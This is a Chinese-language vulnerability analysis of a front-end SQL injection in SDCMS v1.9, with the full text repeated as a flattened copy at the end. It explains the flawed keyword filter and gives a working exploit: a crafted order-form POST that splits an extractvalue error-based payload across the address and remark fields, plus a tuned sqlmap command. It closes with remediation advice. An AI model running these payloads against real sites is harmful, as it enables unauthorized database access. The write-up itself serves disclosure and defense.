sdcms v1.9最新版前台sql注入
字数 1022 2025-08-26 22:11:45

SDCMS v1.9 前台SQL注入漏洞分析与利用

漏洞概述

SDCMS v1.9 存在一个前台SQL注入漏洞,该漏洞源于参数过滤不严和SQL语句构造不当,攻击者可以通过精心构造的请求实现数据库信息泄露。

漏洞原理

1. 参数处理机制

SDCMS使用F()函数获取用户输入参数,处理流程如下:

  1. 通过F()函数获取参数
  2. 调用enhtml()函数处理:
    • 先使用filterExp()过滤危险字符
    • 然后使用htmlspecialchars($a,ENT_QUOTES,'UTF-8')转义特殊字符

filterExp()函数存在缺陷:

function filterExp($a) {
    return (preg_match('/^select|insert|create|update|delete|alter|sleep|payload|assert|load_file|outfile/i',$a))?'':$a;
}

问题在于:

  • 使用^只匹配字符串开头,导致"select"等关键字仅在参数开头时被过滤
  • 反斜杠未被过滤

2. 注入点分析

漏洞存在于订单提交功能(othercontroller.php中的order方法):

$d['address']=F('address');
$d['remark']=F('remark');
$this->db->add('sd_order',$d);

这两个参数:

  1. 完全可控
  2. 在SQL语句中相邻
  3. 经过不完善的过滤

3. 注入技术

利用"反斜杠吃掉单引号"技术:

  1. address参数中传入反斜杠\
  2. remark参数中构造SQL注入语句

示例:

address = aa\
remark = ,1 and extractvalue(1,concat(0x7e,(select user()),0x7e)),1,1,1,1,1)#

生成的SQL语句:

insert into sd_order (...) values ('...','aa\',' ,1 and extractvalue(1,concat(0x7e,(select user()),0x7e)),1,1,1,1,1)# ...)

漏洞复现

环境准备

  1. 安装SDCMS v1.9
  2. 添加测试商品(后台操作)
  3. 确保web_order_login配置为0(默认值),允许未登录下单

复现步骤

  1. 访问商品页面:/?c=index&a=show&id=1
  2. 点击"我要订购"
  3. 拦截提交请求并修改参数:
    POST /sdcms1.9/?c=other&a=order&id=1
    
    truename=aaa&mobile=18888888888&pronum=1&address=aa\&remark=,1 and extractvalue(1,concat(0x7e,(select user()),0x7e)),1,1,1,1,1)#
    
  4. 查看日志文件app/lib/log/[日期].txt获取报错信息

SQLMap自动化利用

由于过滤机制特殊,需特殊配置:

  1. 准备请求文件req.txt

    POST /sdcms1.9/?c=other&a=order&id=1 HTTP/1.1
    Host: 127.0.0.1
    ... 
    truename=aaa&mobile=18888888888&pronum=1&address=aa\&remark=,1 *,1,1,1,1,1)#
    
  2. 使用命令:

    sqlmap.py -r req.txt --dbms=mysql --technique=T --test-filter=benchmark --tamper=between,greatest
    

关键参数说明:

  • --technique=T:使用时间盲注
  • --test-filter=benchmark:使用benchmark代替sleep
  • --tamper=between,greatest:绕过特殊字符过滤

防御建议

  1. 修改filterExp()函数,移除^限制:

    preg_match('/select|insert|create|update|delete|alter|sleep|payload|assert|load_file|outfile/i',$a)
    
  2. 使用预处理语句替代直接拼接SQL

  3. 对反斜杠进行过滤或转义

  4. 加强错误处理,避免直接显示SQL错误

总结

该漏洞展示了几个关键点:

  1. 正则表达式设计缺陷导致的过滤绕过
  2. 反斜杠在SQL注入中的特殊用途
  3. 多个可控参数相邻时的注入技巧
  4. 特殊过滤环境下SQLMap的定制化使用

通过此案例,开发人员应更加重视参数过滤的完整性和SQL语句的安全性。

SDCMS v1.9 前台SQL注入漏洞分析与利用 漏洞概述 SDCMS v1.9 存在一个前台SQL注入漏洞,该漏洞源于参数过滤不严和SQL语句构造不当,攻击者可以通过精心构造的请求实现数据库信息泄露。 漏洞原理 1. 参数处理机制 SDCMS使用 F() 函数获取用户输入参数,处理流程如下: 通过 F() 函数获取参数 调用 enhtml() 函数处理: 先使用 filterExp() 过滤危险字符 然后使用 htmlspecialchars($a,ENT_QUOTES,'UTF-8') 转义特殊字符 filterExp() 函数存在缺陷: 问题在于: 使用 ^ 只匹配字符串开头,导致"select"等关键字仅在参数开头时被过滤 反斜杠未被过滤 2. 注入点分析 漏洞存在于订单提交功能( othercontroller.php 中的 order 方法): 这两个参数: 完全可控 在SQL语句中相邻 经过不完善的过滤 3. 注入技术 利用"反斜杠吃掉单引号"技术: 在 address 参数中传入反斜杠 \ 在 remark 参数中构造SQL注入语句 示例: 生成的SQL语句: 漏洞复现 环境准备 安装SDCMS v1.9 添加测试商品(后台操作) 确保 web_order_login 配置为0(默认值),允许未登录下单 复现步骤 访问商品页面: /?c=index&a=show&id=1 点击"我要订购" 拦截提交请求并修改参数: 查看日志文件 app/lib/log/[日期].txt 获取报错信息 SQLMap自动化利用 由于过滤机制特殊,需特殊配置: 准备请求文件 req.txt : 使用命令: 关键参数说明: --technique=T :使用时间盲注 --test-filter=benchmark :使用benchmark代替sleep --tamper=between,greatest :绕过特殊字符过滤 防御建议 修改 filterExp() 函数,移除 ^ 限制: 使用预处理语句替代直接拼接SQL 对反斜杠进行过滤或转义 加强错误处理,避免直接显示SQL错误 总结 该漏洞展示了几个关键点: 正则表达式设计缺陷导致的过滤绕过 反斜杠在SQL注入中的特殊用途 多个可控参数相邻时的注入技巧 特殊过滤环境下SQLMap的定制化使用 通过此案例,开发人员应更加重视参数过滤的完整性和SQL语句的安全性。